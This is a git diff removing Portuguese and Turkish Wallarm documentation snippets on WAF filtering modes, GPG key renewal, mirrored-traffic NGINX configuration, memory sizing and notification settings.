`wallarm_process_time_limit`. - * Processamento de solicitações: a opção **Parar processamento** é recomendada. - - !!! warning "Risco de esgotamento da memória do sistema" - O limite de tempo alto e/ou continuação do processamento de solicitações após o limite ser excedido pode desencadear o esgotamento de memória ou o processamento de solicitações fora do tempo. - - * Registrar o ataque overlimit_res: a opção **Registrar e exibir nos eventos** é recomendada. - - Se o valor de `wallarm_process_time_limit_block` ou `process_time_limit_block` for `off`, escolha a opção **Não criar evento de ataque**. - - * A regra não possui opção explícita equivalente para a diretiva `wallarm_process_time_limit_block`. Se a regra definir **Registrar e exibir nos eventos**, o nó bloqueará ou passará o ataque `overlimit_res` dependendo do [modo de filtragem do nó][waf-mode-instr]: - - * No modo **monitoramento**, o nó encaminha a solicitação original para o endereço do aplicativo. O aplicativo tem o risco de ser explorado pelos ataques incluídos nas partes processadas e não processadas da solicitação. - * No modo **bloqueio seguro**, o nó bloqueia a solicitação se ela for originada do endereço IP [graylisted][graylist-docs]. Caso contrário, o nó encaminha a solicitação original para o endereço do aplicativo. O aplicativo tem o risco de ser explorado pelos ataques incluídos nas partes processadas e não processadas da solicitação. - * No modo **block**, o nó bloqueia a solicitação. -1. Exclua as diretivas NGINX `wallarm_process_time_limit` e `wallarm_process_time_limit_block` do arquivo de configuração NGINX. - - Se a detecção de ataque `overlimit_res` for ajustada usando tanto as diretivas quanto a regra, o nó processará as solicitações conforme a regra define. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md b/include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md deleted file mode 100644 index 7abe0ae9b9..0000000000 --- a/include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! warning "Os nós Wallarm 3.6 e inferiores não são suportados" - Recomenda-se que você atualize os nós Wallarm 3.6 e inferiores, pois essas versões não são [suportadas, elas estão no fim da vida](../versioning-policy.md#version-list). - - A configuração do nó e a filtragem de tráfego foram significativamente simplificadas no nó Wallarm das últimas versões. Antes de atualizar os módulos, por favor, revise cuidadosamente a [lista de mudanças](what-is-new.md) e as [recomendações gerais](../general-recommendations.md). Observe que algumas configurações do nó mais recente são **incompatíveis** com os nós 3.6 e inferiores. \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.0.md b/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.0.md deleted file mode 100644 index e05d6d4038..0000000000 --- a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.0.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! aviso "O erro "assinaturas não puderam ser verificadas"" - Se as chaves GPG adicionadas estiverem expiradas, o seguinte erro será retornado: - - ``` - W: Erro GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release: As seguintes - assinaturas não puderam ser verificadas porque a chave pública não está disponível: NO_PUBKEY 1111FQQW999 - E: O repositório 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release' não está assinado. - N: Atualizar de tal repositório não pode ser feito de forma segura e, portanto, é desativado por padrão. - N: Consulte a página de manual apt-secure(8) para detalhes sobre a criação de repositório e configuração de usuário. - ``` - - Para corrigir o problema, por favor, importe novas chaves GPG para os pacotes Wallarm e atualize os pacotes usando os seguintes comandos: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.2.md b/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.2.md deleted file mode 100644 index 7a1f6626aa..0000000000 --- a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.2.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! Atenção "O erro "as assinaturas não puderam ser verificadas"" - Se as chaves GPG adicionadas expiraram, o seguinte erro será retornado: - - ``` - W: Erro GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ Release:As seguintes - assinaturas não puderam ser verificadas porque a chave pública não está disponível: NO_PUBKEY 1111FQQW999 - E: O repositório 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ Release' não é assinado. - N: A atualização de um repositório como esse não pode ser feita de maneira segura e, portanto, está desativada por padrão. - N: Consulte a página do manual apt-secure(8) para obter detalhes sobre a criação do repositório e configuração do usuário. - ``` - - Para corrigir o problema, importe novas chaves GPG para os pacotes Wallarm e faça um upgrade dos pacotes usando os seguintes comandos: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.4.md b/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.4.md deleted file mode 100644 index 473f857f4f..0000000000 --- a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.4.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! aviso "O erro "assinaturas não puderam ser verificadas"" - Se as chaves GPG adicionadas expiraram, o erro a seguir será retornado: - - ``` - W: Erro GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release: As seguintes - assinaturas não puderam ser verificadas porque a chave pública não está disponível: NO_PUBKEY 1111FQQW999 - E: O repositório 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release' não está assinado. - N: A atualização de um repositório como este não pode ser feita de forma segura e, portanto, está desativada por padrão. - N: Veja a página do manual apt-secure(8) para detalhes sobre a criação de repositórios e configurações do usuário. - ``` - - Para corrigir o problema, por favor importe as novas chaves GPG para os pacotes Wallarm e, em seguida, atualize os pacotes usando os seguintes comandos: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.6.md b/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.6.md deleted file mode 100644 index c97f07cb5c..0000000000 --- a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.6.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! atenção "O erro "assinaturas não puderam ser verificadas"" - Se as chaves GPG adicionadas expiraram, o seguinte erro seria retornado: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release: As seguintes - assinaturas não puderam ser verificadas porque a chave pública não está disponível: NO_PUBKEY 1111FQQW999 - E: O repositório 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release' não está assinado. - N: Atualizar a partir de tal repositório não pode ser feito de forma segura, e portanto é desativado por padrão. - N: Consulte a página de manual apt-secure(8) para detalhes da criação de repositório e configuração do usuário. - ``` - - Para corrigir o problema, por favor importe novas chaves GPG para os pacotes Wallarm e então atualize os pacotes usando os seguintes comandos: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md b/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md deleted file mode 100644 index 94932a88ec..0000000000 --- a/include-pt-BR/waf/upgrade/warning-expired-gpg-keys-4.8.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "O erro "as assinaturas não puderam ser verificadas"" - Se as chaves GPG adicionadas expirarem, o seguinte erro será retornado: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release:As seguintes - assinaturas não puderam ser verificadas porque a chave pública não está disponível: NO_PUBKEY 1111FQQW999 - E: O repositório 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release' não está assinado. - N: Atualizar a partir de tal repositório não pode ser feito de maneira segura, e é, portanto, desativado por padrão. - N: Veja a página man do apt-secure(8) para detalhes da criação de repositório e configuração do usuário. - ``` - - Para corrigir o problema, importe novas chaves GPG para os pacotes Wallarm e então atualize os pacotes usando os seguintes comandos: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` diff --git a/include-pt-BR/waf/upgrade/warning-node-types-upgrade-to-3.4.md b/include-pt-BR/waf/upgrade/warning-node-types-upgrade-to-3.4.md deleted file mode 100644 index bd59556238..0000000000 --- a/include-pt-BR/waf/upgrade/warning-node-types-upgrade-to-3.4.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "Mudanças significativas e recomendações para atualização de diferentes tipos de nó" - * Ao atualizar o nó Wallarm 2.18 ou inferior, observe que a versão 3.x contém **mudanças significativas**. Antes de atualizar os módulos de 2.18 e inferiores até 3.4, revise cuidadosamente a lista de [mudanças do nó Wallarm](what-is-new.md) e considere uma possível mudança de configuração. - * Recomendamos a atualização de ambos os nós regulares (cliente) e [multi-inquilino](../installation/multi-tenant/overview.md) da versão 3.2 ou inferior até a versão 3.4. Isso permite manter-se atualizado com as versões do Wallarm e evitar a [descontinuidade do módulo instalado](versioning-policy.md#version-support). \ No newline at end of file diff --git a/include-pt-BR/waf/upgrade/warning-node-types-upgrade-to-3.6.md b/include-pt-BR/waf/upgrade/warning-node-types-upgrade-to-3.6.md deleted file mode 100644 index 2aa2957d84..0000000000 --- a/include-pt-BR/waf/upgrade/warning-node-types-upgrade-to-3.6.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! aviso "Mudanças drásticas e recomendações para atualização de diferentes tipos de nós" - * Se estiver atualizando o nó Wallarm 2.18 ou inferior, observe que a versão 3.x contém **mudanças drásticas**. Antes de atualizar os módulos de 2.18 e inferiores para 3.6, revise cuidadosamente a lista de [alterações do nó Wallarm](older-versions/what-is-new.md) e considere uma possível mudança de configuração. - * Recomendamos atualizar tanto os nós regulares (cliente) quanto os [multi-inquilinos](../installation/multi-tenant/overview.md) para a versão 3.6. Isso permite estar atualizado com as novas versões da Wallarm e prevenir [depreciação do módulo instalado](versioning-policy.md#version-support). \ No newline at end of file diff --git a/include-pt-BR/wallarm-modes-description-3.6.md b/include-pt-BR/wallarm-modes-description-3.6.md deleted file mode 100644 index e34646ac46..0000000000 --- a/include-pt-BR/wallarm-modes-description-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -| Comportamento do nó Wallarm | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| Analisa se as solicitações recebidas contêm cargas úteis maliciosas dos seguintes tipos: [ataques de validação de entrada](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [ataques vpatch](../user-guides/rules/vpatch-rule.md), ou [ataques detectados com base em expressões regulares](../user-guides/rules/regex-rule.md) | - | + | + | + | -| Envia solicitações maliciosas para o Wallarm Cloud para que sejam exibidas na lista de eventos | - | + | + | + | -| Bloqueia solicitações maliciosas | - | - | Somente aquelas originadas de [IPs na lista cinza](../user-guides/ip-lists/graylist.md) | + | -| Bloqueia solicitações originadas de [IPs na lista negra](../user-guides/ip-lists/denylist.md)veja exceções | Não analisa a lista negra | - | + | + | -| Bloqueia solicitações originadas de [IPs na lista cinza](../user-guides/ip-lists/graylist.md) | Não analisa a lista cinza | - | Apenas aquelas contendo cargas úteis maliciosas | Não analisa a lista cinza | -| Permite solicitações originadas de [IPs na lista branca](../user-guides/ip-lists/allowlist.md) | Não analisa a lista branca | + | + | + | - -!!! aviso "Exceções" - Se [`wallarm_acl_access_phase on`][acl-access-phase], as solicitações dos IPs na lista negra são bloqueadas em qualquer modo, incluindo `off` e `monitoring` \ No newline at end of file diff --git a/include-pt-BR/wallarm-modes-description-latest.md b/include-pt-BR/wallarm-modes-description-latest.md deleted file mode 100644 index 454cfb4d00..0000000000 --- a/include-pt-BR/wallarm-modes-description-latest.md +++ /dev/null @@ -1,11 +0,0 @@ -| Comportamento do nó Wallarm | `off` | `monitoramento` | `bloqueio_seguro` |`bloquear` | -| -------- | - | - | - | -| -| Analisa se as solicitações de entrada contêm cargas maliciosas dos seguintes tipos: [ataques de validação de entrada](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [ataques vpatch](../user-guides/rules/vpatch-rule.md), ou [ataques detectados com base em expressões regulares](../user-guides/rules/regex-rule.md) | - | + | + | + | -| Envia solicitações maliciosas para a Nuvem Wallarm para que sejam exibidas na lista de eventos | - | + | + | + | -| Bloqueia solicitações maliciosas | - | - | Apenas aquelas originadas de [IPs na lista cinza](../user-guides/ip-lists/graylist.md) | + | -| Bloqueia solicitações originadas de [IPs na lista de negação](../user-guides/ip-lists/denylist.md)veja exceções | + | + | + | + | -| Bloqueia solicitações originadas de [IPs na lista cinza](../user-guides/ip-lists/graylist.md) | Não analisa a lista cinza | - | Apenas aquelas contendo cargas maliciosas | Não analisa a lista cinza | -| Permite solicitações originadas de [IPs na lista de permissão](../user-guides/ip-lists/allowlist.md) | + | + | + | + | - -!!! aviso "Exceções" - Se [`wallarm_acl_access_phase off`][acl-access-phase], o nó Wallarm não analisa a lista de negação no modo `off` e não bloqueia solicitações de IPs na lista de negação no modo `monitoramento`. \ No newline at end of file diff --git a/include-pt-BR/wallarm-modes-description.md b/include-pt-BR/wallarm-modes-description.md deleted file mode 100644 index 3cb1586ca0..0000000000 --- a/include-pt-BR/wallarm-modes-description.md +++ /dev/null @@ -1,8 +0,0 @@ -| Comportamento do nó Wallarm | `off` | `monitoramento` | `bloqueio_seguro` |`bloquear` | -| -------- | - | - | - | -| -| Analisa se as solicitações recebidas contêm payloads maliciosos dos seguintes tipos: [ataques de validação de entrada](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [ataques vpatch](../user-guides/rules/vpatch-rule.md), ou [ataques detectados com base em expressões regulares](../user-guides/rules/regex-rule.md) | - | + | + | + | -| Envia solicitações maliciosas para a nuvem Wallarm para que sejam exibidas na lista de eventos | - | + | + | + | -| Bloqueia solicitações maliciosas | - | - | Somente aquelas originadas de [IPs na lista cinza](../user-guides/ip-lists/graylist.md) | + | -| Bloqueia solicitações originadas de [IPs na lista de negação](../user-guides/ip-lists/denylist.md) | Não analisa a lista de negação | - | + | + | -| Bloqueia solicitações originadas de [IPs na lista cinza](../user-guides/ip-lists/graylist.md) | Não analisa a lista cinza | - | Somente aquelas com payloads maliciosos | Não analisa a lista cinza | -| Permite solicitações originadas de [IPs na lista de permissões](../user-guides/ip-lists/allowlist.md) | Não analisa a lista de permissões | + | + | + | \ No newline at end of file diff --git a/include-pt-BR/wallarm-node-configuration-for-mirrored-traffic-3.6.md b/include-pt-BR/wallarm-node-configuration-for-mirrored-traffic-3.6.md deleted file mode 100644 index f4340ef41a..0000000000 --- a/include-pt-BR/wallarm-node-configuration-for-mirrored-traffic-3.6.md +++ /dev/null @@ -1,24 +0,0 @@ -Para que o nó Wallarm processe o tráfego espelhado, defina a seguinte configuração: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#Mude 222.222.222.22 para o endereço do servidor de espelhamento -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* A diretiva [`real_ip_header`](../../using-proxy-or-balancer-en.md) é necessária para que o Console Wallarm exiba os endereços IP dos atacantes. -* As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto para cópias recebidas do tráfego espelhado. -* Como as solicitações maliciosas [não podem](overview.md#limitations-of-mirrored-traffic-filtration) ser bloqueadas, o nó Wallarm sempre analisa solicitações no [modo](../../configure-wallarm-mode.md) de monitoramento, mesmo que a diretiva `wallarm_mode` ou Wallarm Cloud configure o modo de bloqueio seguro ou regular (além do modo definido como desativado). - -O processamento de tráfego espelhado é suportado apenas pelos nós baseados em NGINX. Você pode definir a configuração fornecida da seguinte maneira: - -* Se instalar o nó a partir de pacotes DEB/RPM - no arquivo de configuração do NGINX `/etc/nginx/conf.d/default.conf`. -* Se implantar o nó a partir da imagem da nuvem [AWS](../../installation-ami-en.md) ou [GCP](../../installation-gcp-en.md) - no arquivo de configuração do NGINX `/etc/nginx/nginx.conf`. -* Se implantar o nó a partir da [imagem Docker](../../installation-docker-en.md) - monte o arquivo com a configuração fornecida no contêiner. -* Se executar o nó como [controlador Ingress](../../installation-kubernetes-en.md) - monte o ConfigMap com a configuração fornecida em um pod. \ No newline at end of file diff --git a/include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md b/include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md deleted file mode 100644 index dce91c0713..0000000000 --- a/include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md +++ /dev/null @@ -1,24 +0,0 @@ -Para o nó Wallarm processar o tráfego espelhado, defina a seguinte configuração: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#Mude 222.222.222.22 para o endereço do servidor de espelhamento -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* A diretiva [`real_ip_header`](../../using-proxy-or-balancer-en.md) é necessária para que o Console Wallarm exiba os endereços IP dos invasores. -* As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto as cópias recebidas do tráfego espelhado. -* Como as solicitações maliciosas [não podem](overview.md#limitations-of-mirrored-traffic-filtration) ser bloqueadas, o nó Wallarm sempre analisa as solicitações no [modo](../../configure-wallarm-mode.md) de monitoramento mesmo se a diretiva `wallarm_mode` ou o Wallarm Cloud definirem o modo de bloqueio seguro ou regular (além do modo definido para desligado). - -O processamento de tráfego espelhado é suportado apenas pelos nós baseados em NGINX. Você pode definir a configuração fornecida da seguinte maneira: - -* Se instalando o nó a partir de pacotes DEB/RPM - no arquivo de configuração NGINX `/etc/nginx/conf.d/default.conf`. -* Se implantando o nó a partir da imagem em nuvem [AWS](../../installation-ami-en.md) ou [GCP](../../installation-gcp-en.md) - no arquivo de configuração NGINX `/etc/nginx/nginx.conf`. -* Se implantando o nó a partir da [imagem Docker](../../installation-docker-en.md) - monte o arquivo com a configuração fornecida no contêiner. -* Se executando o nó como [Sidecar](../../../installation/kubernetes/sidecar-proxy/deployment.md) ou [Ingress controller](../../installation-kubernetes-en.md) - monte o ConfigMap com a configuração fornecida em um pod. \ No newline at end of file diff --git a/include-tr/access-repo-en.md b/include-tr/access-repo-en.md deleted file mode 100644 index 19c9b117df..0000000000 --- a/include-tr/access-repo-en.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Depo erişimi" - Paketleri indirmek için sisteminizin `https://repo.wallarm.com` adresine erişimi olmalıdır. - - Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun. \ No newline at end of file diff --git a/include-tr/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md b/include-tr/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md deleted file mode 100644 index 90ca8d720c..0000000000 --- a/include-tr/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md +++ /dev/null @@ -1,36 +0,0 @@ -Tarantool belleği, `values.yaml` dosyasındaki aşağıdaki bölümler kullanılarak `ingress-controller-wallarm-tarantool` pod'u için yapılandırılır: - -* GB cinsinden belleği ayarlamak için: - ``` - controller: - wallarm: - tarantool: - arena: "0.2" - ``` - -* CPU ve bellek kaynaklarını ayarlamak için: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 1000m - memory: 1640Mi - requests: - cpu: 1000m - memory: 1640Mi - ``` - -Listelenen parametreler, `helm install` ve `helm upgrade` komutlarının `--set` seçeneği kullanılarak ayarlanır; örneğin: - -=== "Ingress denetleyicisi kurulumu" - ```bash - helm install --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` - - Doğru Ingress denetleyicisi kurulumu için gerekli [diğer parametreler](../configure-kubernetes-en.md#additional-settings-for-helm-chart) de vardır. Lütfen bunları da `--set` seçeneğiyle iletin. -=== "Ingress denetleyicisi parametrelerinin güncellenmesi" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-tr/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md b/include-tr/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md deleted file mode 100644 index 039d10dfb6..0000000000 --- a/include-tr/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md +++ /dev/null @@ -1,36 +0,0 @@ -`ingress-controller-wallarm-tarantool` pod'u için Tarantool belleği, `values.yaml` dosyasındaki aşağıdaki bölümler kullanılarak yapılandırılır: - -* Belleği GB cinsinden ayarlamak için: - ``` - controller: - wallarm: - tarantool: - arena: "1.0" - ``` - -* CPU/bellek kaynaklarını ayarlamak için: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - -Listelenen parametreler, `helm install` ve `helm upgrade` komutlarının `--set` seçeneği kullanılarak ayarlanır; örneğin: - -=== "Ingress controller kurulumu" - ```bash - helm install --set controller.wallarm.tarantool.arena='1.0' wallarm/wallarm-ingress -n - ``` - - Ingress controller'ın doğru kurulumu için gereken [diğer parametreler](../configure-kubernetes-en.md#additional-settings-for-helm-chart) de vardır. Lütfen bunları da `--set` seçeneği ile iletin. -=== "Ingress controller parametrelerini güncelleme" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-tr/allocate-resources-for-waf-node/tarantool-memory.md b/include-tr/allocate-resources-for-waf-node/tarantool-memory.md deleted file mode 100644 index 9800b45d47..0000000000 --- a/include-tr/allocate-resources-for-waf-node/tarantool-memory.md +++ /dev/null @@ -1,13 +0,0 @@ -Postanalytics, bellek içi depolama Tarantool'u kullanır. Tarantool veritabanı, bir filtreleme düğümü tarafından işlenen veri akışının, istek/yanıt başlıkları ve istek gövdeleri (ancak yanıt gövdeleri değil) dahil olmak üzere, yerel bir kopyasını dairesel bir arabellekte tutmak için kullanılır. - -Bir filtreleme düğümünü verimli kılmak için, veritabanı veri serileştirme için yaklaşık 2x ek yük ile en az 15 dakikalık iletilen veriyi saklamalıdır. Bu noktalar dikkate alındığında, bellek miktarı şu formülle tahmin edilebilir: - -``` -Dakikada bayt cinsinden istek işleme hızı * 15 * 2 -``` - -Örneğin, bir filtreleme düğümü uç kullanıcı isteklerinde tepe noktada 50 Mbps işliyorsa, gerekli Tarantool veritabanı bellek tüketimi aşağıdaki gibi tahmin edilebilir: - -``` -50 Mbps / 8 (bir bayttaki bit sayısı) * 60 (bir dakikadaki saniye sayısı) * 15 * 2 = 11,250 MB (veya ~ 11 GB) -``` \ No newline at end of file diff --git a/include-tr/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md b/include-tr/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md deleted file mode 100644 index cf89304a1f..0000000000 --- a/include-tr/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md +++ /dev/null @@ -1,36 +0,0 @@ -wstore belleği, `values.yaml` dosyasındaki aşağıdaki bölümler kullanılarak yapılandırılır: - -* Belleği GB cinsinden ayarlamak için: - ``` - controller: - wallarm: - postanalytics: - arena: "1.0" - ``` - -* CPU/bellek kaynaklarını ayarlamak için: - ``` - controller: - wallarm: - postanalytics: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - -Listelenen parametreler, `helm install` ve `helm upgrade` komutlarının `--set` seçeneği kullanılarak ayarlanır; örneğin: - -=== "Ingress denetleyicisinin kurulumu" - ```bash - helm install --set controller.wallarm.postanalytics.arena='1.0' wallarm/wallarm-ingress -n - ``` - - Doğru Ingress denetleyicisi kurulumu için ayrıca [diğer parametreler](../configure-kubernetes-en.md#additional-settings-for-helm-chart) gereklidir. Lütfen bunları da `--set` seçeneği ile iletin. -=== "Ingress denetleyicisi parametrelerini güncelleme" - ```bash - helm upgrade --reuse-values --set controller.wallarm.postanalytics.arena='1.0' wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-tr/allocate-resources-for-waf-node/wstore-memory.md b/include-tr/allocate-resources-for-waf-node/wstore-memory.md deleted file mode 100644 index dcb2d070a5..0000000000 --- a/include-tr/allocate-resources-for-waf-node/wstore-memory.md +++ /dev/null @@ -1,13 +0,0 @@ -Postanalytics, bellek içi depolama wstore’u kullanır. wstore veritabanı, bir filtreleme düğümü tarafından işlenen veri akışının yerel bir kopyasını dairesel bir arabellekte tutmak için kullanılır; buna istek/yanıt üstbilgileri ve istek gövdeleri dahildir (ancak yanıt gövdeleri dahil değildir). - -Bir filtreleme düğümünü verimli kılmak için veritabanının, veri serileştirme için yaklaşık 2x ek yükle birlikte, en az 15 dakikalık iletilen veriyi tutması gerekir. Bu noktalara göre, bellek miktarı şu formülle tahmin edilebilir: - -``` -Dakika başına bayt cinsinden istek işleme hızı * 15 * 2 -``` - -Örneğin, bir filtreleme düğümü tepe noktada son kullanıcı isteklerinde 50 Mbps işliyorsa, gerekli wstore veritabanı bellek tüketimi aşağıdaki gibi tahmin edilebilir: - -``` -50 Mbps / 8 (bir baytta bit sayısı) * 60 (bir dakikadaki saniye sayısı) * 15 * 2 = 11,250 MB (ya da ~ 11 GB) -``` \ No newline at end of file diff --git a/include-tr/api-attack-surface/aasm-notifications.md b/include-tr/api-attack-surface/aasm-notifications.md deleted file mode 100644 index 37d6b023de..0000000000 --- a/include-tr/api-attack-surface/aasm-notifications.md +++ /dev/null @@ -1,37 +0,0 @@ -### E-posta - -Bulunan hostlar ve güvenlik sorunları hakkında, otomatik olarak kişisel e-postanıza (oturum açmak için kullandığınız) bildirimler alırsınız; bunlar şunları içerir: - -* **Günlük kritik güvenlik sorunları (yalnızca yeni)** - gün içinde açılan tüm [kritik][link-aasm-security-issue-risk-level] güvenlik sorunları, her sorun için ayrıntılı açıklama ve nasıl giderileceğine dair talimatlarla birlikte günde bir kez gönderilir. -* **Günlük güvenlik sorunları (yalnızca yeni)** - gün içinde açılan güvenlik sorunlarına ilişkin istatistikler; her [risk düzeyi][link-aasm-security-issue-risk-level] için kaç sorun bulunduğu bilgisi ve gidermeye yönelik genel eylem maddeleriyle birlikte günde bir kez gönderilir. -* **Haftalık AASM istatistikleri** - son hafta içinde yapılandırdığınız alan adlarında keşfedilen hostlar, API’ler ve güvenlik sorunlarına ilişkin istatistikler hakkında bilgi. - -Bildirimler varsayılan olarak etkindir. İstediğiniz anda abonelikten çıkabilir ve Wallarm Console → Configuration → Integrations → Email and messengers → Personal email (sizin e-postanız) veya Email report (ek e-postalar) bölümünden bu bildirimlerin tamamını ya da bir kısmını alacak ek e-postaları yapılandırabilirsiniz; ayrıntılar [burada][link-integrations-email] açıklanmıştır. - -### Anlık bildirim - -Yeni ve yeniden açılan güvenlik sorunları için anlık bildirim yapılandırabilirsiniz. Bildirim tetiklediğinde seçilecek risk düzeylerinin tümünü veya yalnızca bazılarını belirleyin. Her güvenlik sorunu için ayrı bir mesaj gönderilir. - -Örnek: - -``` -[Wallarm System] Yeni güvenlik sorunu tespit edildi -Bildirim türü: security_issue -Sisteminizde yeni bir güvenlik sorunu tespit edildi. -ID: 106279 -Başlık: Zafiyet içeren Nginx sürümü: 1.14.2 -Host: -Yol: -Port: 443 -URL: -Yöntem: -Tespit eden: AASM -Parametre: -Tür: Zafiyet barındıran bileşen -Risk: Orta -Daha fazla bilgi: -Müşteri: -Bulut: US -``` - -Güvenlik sorunları için anlık bildirimi, Wallarm Console → Configuration → Integrations → YOUR_INTEGRATION yolunu izleyerek [entegrasyonunuz][link-integrations-intro] dokümantasyonunda açıklandığı şekilde yapılandırabilirsiniz. \ No newline at end of file diff --git a/include-tr/api-discovery/dashboard.md b/include-tr/api-discovery/dashboard.md deleted file mode 100644 index d2a8a67df5..0000000000 --- a/include-tr/api-discovery/dashboard.md +++ /dev/null @@ -1,18 +0,0 @@ -Wallarm'ın [**API Discovery**][apid-overview] tarafından toplanan API’nize ait verileri **API Discovery** dashboard üzerinden inceleyin. - -Dashboard, gölge (shadow), yetim (orphan) ve zombi (zombie) API’ler dahil olmak üzere API uç noktalarınızın tam görünümünü sunar. En savunmasız veya yüksek riskli API’leri belirleyerek güvenlik çabalarını önceliklendirmenize yardımcı olan **risk skoru değerlendirmesi** sonuçlarını görselleştirir. - -API’ler zaman içinde evrilir; yeni uç noktalar eklenir, eskileri kullanımdan kaldırılır. Dashboard bu değişikliklere görünürlük sağlayarak kullanımdan kaldırılan API’lerin uygun şekilde devre dışı bırakılmasını ve yeni veya değiştirilmiş API’lerin güvenlik politikaları ve standartlarıyla uyumlu olmasını temin eder. - -
              - -
              - -
              -
